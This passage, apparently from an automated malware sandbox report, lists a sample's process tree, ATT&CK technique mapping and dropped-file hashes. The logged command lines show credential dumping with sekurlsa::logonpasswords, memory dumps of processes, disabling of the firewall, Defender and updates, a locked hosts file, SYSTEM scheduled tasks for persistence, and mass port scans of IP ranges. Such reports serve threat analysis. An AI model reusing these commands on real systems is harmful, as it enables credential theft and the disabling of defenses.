  - Suspicious use of WriteProcessMemory
  PID:2712
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:4504
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D users
    3⤵
    PID:4896
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1944
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4348
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2852
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
    3⤵
    PID:736
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static del all
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:884
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add policy name=Bastards description=FuckingBastards
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:1992
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filteraction name=BastardsList action=block
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:2296
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\jhetmctcv\bctzbzczb\wpcap.exe /S
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3868
- - C:\Windows\jhetmctcv\bctzbzczb\wpcap.exe
    C:\Windows\jhetmctcv\bctzbzczb\wpcap.exe /S
    3⤵
    - Drops file in Drivers directory
    - Executes dropped EXE
    - Loads dropped DLL
    - Drops file in System32 directory
    - Drops file in Program Files directory
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4264
  - - C:\Windows\SysWOW64\net.exe
      net stop "Boundary Meter"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4280
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "Boundary Meter"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5072
  - - C:\Windows\SysWOW64\net.exe
      net stop "TrueSight Meter"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:460
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "TrueSight Meter"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3448
  - - C:\Windows\SysWOW64\net.exe
      net stop npf
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4500
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop npf
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4144
  - - C:\Windows\SysWOW64\net.exe
      net start npf
      4⤵
      System Location Discovery: System Language Discovery
      PID:1028
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 start npf
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3076
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net start npf
  2⤵
  PID:2532
- - C:\Windows\SysWOW64\net.exe
    net start npf
    3⤵
    PID:1076
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 start npf
      4⤵
      System Location Discovery: System Language Discovery
      PID:2412
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net start npf
  2⤵
  PID:3732
- - C:\Windows\SysWOW64\net.exe
    net start npf
    3⤵
    PID:4596
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 start npf
      4⤵
      PID:972
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\jhetmctcv\bctzbzczb\liuibviiz.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\jhetmctcv\bctzbzczb\Scant.txt
  2⤵
  PID:4848
- - C:\Windows\jhetmctcv\bctzbzczb\liuibviiz.exe
    C:\Windows\jhetmctcv\bctzbzczb\liuibviiz.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\jhetmctcv\bctzbzczb\Scant.txt
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:2248
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\jhetmctcv\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit >> C:\Windows\jhetmctcv\Corporate\log.txt
  2⤵
  - Drops file in Windows directory
  PID:3160
- - C:\Windows\jhetmctcv\Corporate\vfshost.exe
    C:\Windows\jhetmctcv\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:1504
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "jbemublie" /ru system /tr "cmd /c C:\Windows\ime\mgmtcbi.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3816
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2052
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "jbemublie" /ru system /tr "cmd /c C:\Windows\ime\mgmtcbi.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:2016
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "umbbbtict" /ru system /tr "cmd /c echo Y|cacls C:\Windows\ybemumnz\mgmtcbi.exe /p everyone:F"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:948
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4144
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "umbbbtict" /ru system /tr "cmd /c echo Y|cacls C:\Windows\ybemumnz\mgmtcbi.exe /p everyone:F"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3600
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "bwctviivv" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\untipbtiz\ltbtbc.exe /p everyone:F"
  2⤵
  PID:212
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3928
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "bwctviivv" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\untipbtiz\ltbtbc.exe /p everyone:F"
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:3984
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=TCP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:232
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=UDP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:312
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:4248
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:4720
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=TCP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:4264
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=UDP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:748
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:1676
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:1992
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=TCP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:3940
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=UDP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:2268
- C:\Windows\TEMP\jhetmctcv\iyibcmiuc.exe
  C:\Windows\TEMP\jhetmctcv\iyibcmiuc.exe -accepteula -mp 780 C:\Windows\TEMP\jhetmctcv\780.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4964
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:4824
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:3084
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop SharedAccess
  2⤵
  - System Location Discovery: System Language Discovery
  PID:116
- - C:\Windows\SysWOW64\net.exe
    net stop SharedAccess
    3⤵
    PID:3660
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop SharedAccess
      4⤵
      System Location Discovery: System Language Discovery
      PID:1504
- C:\Windows\SysWOW64\cmd.exe
  cmd /c netsh firewall set opmode mode=disable
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5100
- - C:\Windows\SysWOW64\netsh.exe
    netsh firewall set opmode mode=disable
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    - System Location Discovery: System Language Discovery
    PID:460
- C:\Windows\SysWOW64\cmd.exe
  cmd /c netsh Advfirewall set allprofiles state off
  2⤵
  PID:1452
- - C:\Windows\SysWOW64\netsh.exe
    netsh Advfirewall set allprofiles state off
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:2440
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop MpsSvc
  2⤵
  PID:4512
- - C:\Windows\SysWOW64\net.exe
    net stop MpsSvc
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1676
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop MpsSvc
      4⤵
      System Location Discovery: System Language Discovery
      PID:2040
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop WinDefend
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4108
- - C:\Windows\SysWOW64\net.exe
    net stop WinDefend
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2252
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop WinDefend
      4⤵
      System Location Discovery: System Language Discovery
      PID:3172
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop wuauserv
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2692
- - C:\Windows\SysWOW64\net.exe
    net stop wuauserv
    3⤵
    PID:1512
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop wuauserv
      4⤵
      System Location Discovery: System Language Discovery
      PID:2964
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config MpsSvc start= disabled
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1880
- - C:\Windows\SysWOW64\sc.exe
    sc config MpsSvc start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:4000
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config SharedAccess start= disabled
  2⤵
  PID:3952
- - C:\Windows\SysWOW64\sc.exe
    sc config SharedAccess start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:1732
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config WinDefend start= disabled
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3664
- - C:\Windows\SysWOW64\sc.exe
    sc config WinDefend start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:1468
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config wuauserv start= disabled
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3868
- - C:\Windows\SysWOW64\sc.exe
    sc config wuauserv start= disabled
    3⤵
    - Launches sc.exe
    PID:1184
- C:\Windows\TEMP\xohudmc.exe
  C:\Windows\TEMP\xohudmc.exe
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  PID:4284
- C:\Windows\TEMP\jhetmctcv\iyibcmiuc.exe
  C:\Windows\TEMP\jhetmctcv\iyibcmiuc.exe -accepteula -mp 336 C:\Windows\TEMP\jhetmctcv\336.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2052
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4824
- C:\Windows\TEMP\jhetmctcv\iyibcmiuc.exe
  C:\Windows\TEMP\jhetmctcv\iyibcmiuc.exe -accepteula -mp 2164 C:\Windows\TEMP\jhetmctcv\2164.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:444
- C:\Windows\TEMP\jhetmctcv\iyibcmiuc.exe
  C:\Windows\TEMP\jhetmctcv\iyibcmiuc.exe -accepteula -mp 2684 C:\Windows\TEMP\jhetmctcv\2684.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:972
- C:\Windows\TEMP\jhetmctcv\iyibcmiuc.exe
  C:\Windows\TEMP\jhetmctcv\iyibcmiuc.exe -accepteula -mp 2796 C:\Windows\TEMP\jhetmctcv\2796.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2980
- C:\Windows\TEMP\jhetmctcv\iyibcmiuc.exe
  C:\Windows\TEMP\jhetmctcv\iyibcmiuc.exe -accepteula -mp 2908 C:\Windows\TEMP\jhetmctcv\2908.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1676
- C:\Windows\TEMP\jhetmctcv\iyibcmiuc.exe
  C:\Windows\TEMP\jhetmctcv\iyibcmiuc.exe -accepteula -mp 3040 C:\Windows\TEMP\jhetmctcv\3040.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4108
- C:\Windows\TEMP\jhetmctcv\iyibcmiuc.exe
  C:\Windows\TEMP\jhetmctcv\iyibcmiuc.exe -accepteula -mp 3752 C:\Windows\TEMP\jhetmctcv\3752.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3492
- C:\Windows\TEMP\jhetmctcv\iyibcmiuc.exe
  C:\Windows\TEMP\jhetmctcv\iyibcmiuc.exe -accepteula -mp 3848 C:\Windows\TEMP\jhetmctcv\3848.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2516
- C:\Windows\TEMP\jhetmctcv\iyibcmiuc.exe
  C:\Windows\TEMP\jhetmctcv\iyibcmiuc.exe -accepteula -mp 3916 C:\Windows\TEMP\jhetmctcv\3916.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4712
- C:\Windows\TEMP\jhetmctcv\iyibcmiuc.exe
  C:\Windows\TEMP\jhetmctcv\iyibcmiuc.exe -accepteula -mp 4008 C:\Windows\TEMP\jhetmctcv\4008.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4120
- C:\Windows\TEMP\jhetmctcv\iyibcmiuc.exe
  C:\Windows\TEMP\jhetmctcv\iyibcmiuc.exe -accepteula -mp 2448 C:\Windows\TEMP\jhetmctcv\2448.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2880
- C:\Windows\TEMP\jhetmctcv\iyibcmiuc.exe
  C:\Windows\TEMP\jhetmctcv\iyibcmiuc.exe -accepteula -mp 2420 C:\Windows\TEMP\jhetmctcv\2420.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4676
- C:\Windows\TEMP\jhetmctcv\iyibcmiuc.exe
  C:\Windows\TEMP\jhetmctcv\iyibcmiuc.exe -accepteula -mp 2416 C:\Windows\TEMP\jhetmctcv\2416.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:428
- C:\Windows\TEMP\jhetmctcv\iyibcmiuc.exe
  C:\Windows\TEMP\jhetmctcv\iyibcmiuc.exe -accepteula -mp 4864 C:\Windows\TEMP\jhetmctcv\4864.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1568
- C:\Windows\TEMP\jhetmctcv\iyibcmiuc.exe
  C:\Windows\TEMP\jhetmctcv\iyibcmiuc.exe -accepteula -mp 1240 C:\Windows\TEMP\jhetmctcv\1240.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3872
- C:\Windows\TEMP\jhetmctcv\iyibcmiuc.exe
  C:\Windows\TEMP\jhetmctcv\iyibcmiuc.exe -accepteula -mp 2580 C:\Windows\TEMP\jhetmctcv\2580.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3388
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c C:\Windows\jhetmctcv\bctzbzczb\scan.bat
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3636
- - C:\Windows\jhetmctcv\bctzbzczb\btuizeiim.exe
    btuizeiim.exe TCP 138.199.0.1 138.199.255.255 7001 512 /save
    3⤵
    - Executes dropped EXE
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    PID:3816
- C:\Windows\TEMP\jhetmctcv\iyibcmiuc.exe
  C:\Windows\TEMP\jhetmctcv\iyibcmiuc.exe -accepteula -mp 3636 C:\Windows\TEMP\jhetmctcv\3636.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:5436
- C:\Windows\TEMP\jhetmctcv\iyibcmiuc.exe
  C:\Windows\TEMP\jhetmctcv\iyibcmiuc.exe -accepteula -mp 2540 C:\Windows\TEMP\jhetmctcv\2540.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1452
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4312
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:872
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D users
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5300
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:1248
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5584
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:5824
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1344

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\ybemumnz\mgmtcbi.exe /p everyone:F
1⤵
PID:8
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:5068
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\ybemumnz\mgmtcbi.exe /p everyone:F
  2⤵
  PID:2976

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c C:\Windows\ime\mgmtcbi.exe
1⤵
PID:4636
- C:\Windows\ime\mgmtcbi.exe
  C:\Windows\ime\mgmtcbi.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:4164

C:\Windows\SysWOW64\xcllyg.exe
C:\Windows\SysWOW64\xcllyg.exe
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:4516

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\untipbtiz\ltbtbc.exe /p everyone:F
1⤵
PID:1436
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:2664
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\TEMP\untipbtiz\ltbtbc.exe /p everyone:F
  2⤵
  PID:4964

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\untipbtiz\ltbtbc.exe /p everyone:F
1⤵
PID:1980
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:1920
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\TEMP\untipbtiz\ltbtbc.exe /p everyone:F
  2⤵
  PID:3320

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\ybemumnz\mgmtcbi.exe /p everyone:F
1⤵
PID:5912
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:5992
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\ybemumnz\mgmtcbi.exe /p everyone:F
  2⤵
  PID:6004

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c C:\Windows\ime\mgmtcbi.exe
1⤵
PID:5916
- C:\Windows\ime\mgmtcbi.exe
  C:\Windows\ime\mgmtcbi.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:6028

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Credential Access

OS Credential Dumping

T1003

LSASS Memory

T1003.001

Discovery

Network Service Discovery

T1046

Network Share Discovery

T1135

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Windows\SysWOW64\Packet.dll

Filesize
95KB

MD5
86316be34481c1ed5b792169312673fd

SHA1
6ccde3a8c76879e49b34e4abb3b8dfaf7a9d77b5

SHA256
49656c178b17198470ad6906e9ee0865f16f01c1dbbf11c613b55a07246a7918

SHA512
3a6e77c39942b89f3f149e9527ab8a9eb39f55ac18a9db3a3922dfb294beb0760d10ca12be0e3a3854ff7dabbe2df18c52e3696874623a2a9c5dc74b29a860bc

Download Submit
C:\Windows\SysWOW64\wpcap.dll

Filesize
275KB

MD5
4633b298d57014627831ccac89a2c50b

SHA1
e5f449766722c5c25fa02b065d22a854b6a32a5b

SHA256
b967e4dce952f9232592e4c1753516081438702a53424005642700522055dbc9

SHA512
29590fa5f72e6a36f2b72fc2a2cca35ee41554e13c9995198e740608975621142395d4b2e057db4314edf95520fd32aae8db066444d8d8db0fd06c391111c6d3

Download Submit
C:\Windows\TEMP\jhetmctcv\2164.dmp

Filesize
4.2MB

MD5
7f3d75a3d423d621a1ef56fd77191e26

SHA1
4cd39861dab346df57ec2ce90f2d273f0b957f7c

SHA256
a3493740df9f0f826a30355a9744d03ca0c579e6ff347771ccd286d0e0311ff0

SHA512
33dd3124482e4f4f29d0c96ad5366c983f3f146f405fc96c6e37e12804c1865f7750d9454dc26012736595126e68ce91fd3d1ddabd34be262a39c8c6a65d29d7

Download Submit
C:\Windows\TEMP\jhetmctcv\2416.dmp

Filesize
8.5MB

MD5
4f23d064a77467b8588ec3df921d5680

SHA1
3170e36a4cfe7182e7f0d4d59d0bd8c7d95d76fc

SHA256
3355bb55b22c1cd8df6bf6292ba19da2fea791c1c7ffc7e3447ffaeef4e94f14

SHA512
84338a70408f096c99c5376d737d154792b691b4be80399a3fd412aa48dfab4f56d22f730eee07bc2ec700bacdb6dcac5b324cfbdb4bd39c9da0adff1e44f6e3

Download Submit
C:\Windows\TEMP\jhetmctcv\2420.dmp

Filesize
1.2MB

MD5
3f49b09537a56a61a1b84e7f0f8c693d

SHA1
b90b8d56a3858b1b809c79d7e47ac5910440a04e

SHA256
46642d33b15970939859a72647eae8c82b34fe5f3931d9c7a517c48c8d423d43

SHA512
aca2268bee18c0e93100500b7bb65b33c735108c3568741e5a74d0a8a914662989bfb9c9f57d759ce1e2fd5e0cadb23666ec4c95497e237c2a889e9630412d62

Download Submit
C:\Windows\TEMP\jhetmctcv\2448.dmp

Filesize
25.9MB

MD5
93ce2f9c961952e2abcd962ccbc34eed

SHA1
7dfded86b6fe27d3ff5f5fa703f0e16a4ef644d6

SHA256
5d600a4e83e0ee17f8ba8a21f75b55c118770c328eff9cc41da11efd2be98c41

SHA512
84d18d122ba805d238f91c846dcaafa7102c3f8813c606e327de8d553b2f8c2769723a04a907407612b19e25b38a6a615fa6f22b325b4328ae5ce8f796c90499

Download Submit
C:\Windows\TEMP\jhetmctcv\2684.dmp

Filesize
3.9MB

MD5
bc33c321a3386930be77399b908d719e

SHA1
f4aaed0d4c1278c8668d70e1d2086038b0a9da6b

SHA256
2a9b40eb2f11ddae29a518e77af94fdc063d705628ee1c0417fbd440468ee518

SHA512
2d01032444333dc0a4785f6165305a34d49dbae13492800c0e5779046ecdb195597f6e7ef822bc64e5494a1e29978199863ca8810a051d7ec383915b39156e83

Download Submit
C:\Windows\TEMP\jhetmctcv\2796.dmp

Filesize
7.5MB

MD5
28375b271be6a1d52dfd1687a726e87e

SHA1
51af2ed2e9f59ece1dc2e01bb0b2a55b1d5cc805

SHA256
6337d614643096407f65e4676657fb1578438ef1545f58f4005dc3acb1775341

SHA512
f5c7998819d3cb4526a44c68c4b7d6eab12e54ed3cdd990da56ecb4c6b380c3c89a3ddadf893113f9291d3ab0b57b685f98f78716bfbffc360318d5af2c299c6

Download Submit
C:\Windows\TEMP\jhetmctcv\2908.dmp

Filesize
3.0MB

MD5
a2c17d7cf4a24d28c199056100f9250e

SHA1
b285a232a14379b655908f2bc58a630a8d68a030

SHA256
645452062d34cb82c7a42c682a27dace29f7c7f284caf64b00583ef9c17fff65

SHA512
a34f72a5a6b22207e714ed1a0964161b015451f4ca201d59ce22a9414986598f77826daf5dbac583df255d342556578ea49295afbf3c0b159db758d82118cccd

Download Submit
C:\Windows\TEMP\jhetmctcv\3040.dmp

Filesize
818KB

MD5
5fd6a4490e206b8b884d87c8296548f1

SHA1
205adc906a72b947c5d72b7fc296882511724ab6

SHA256
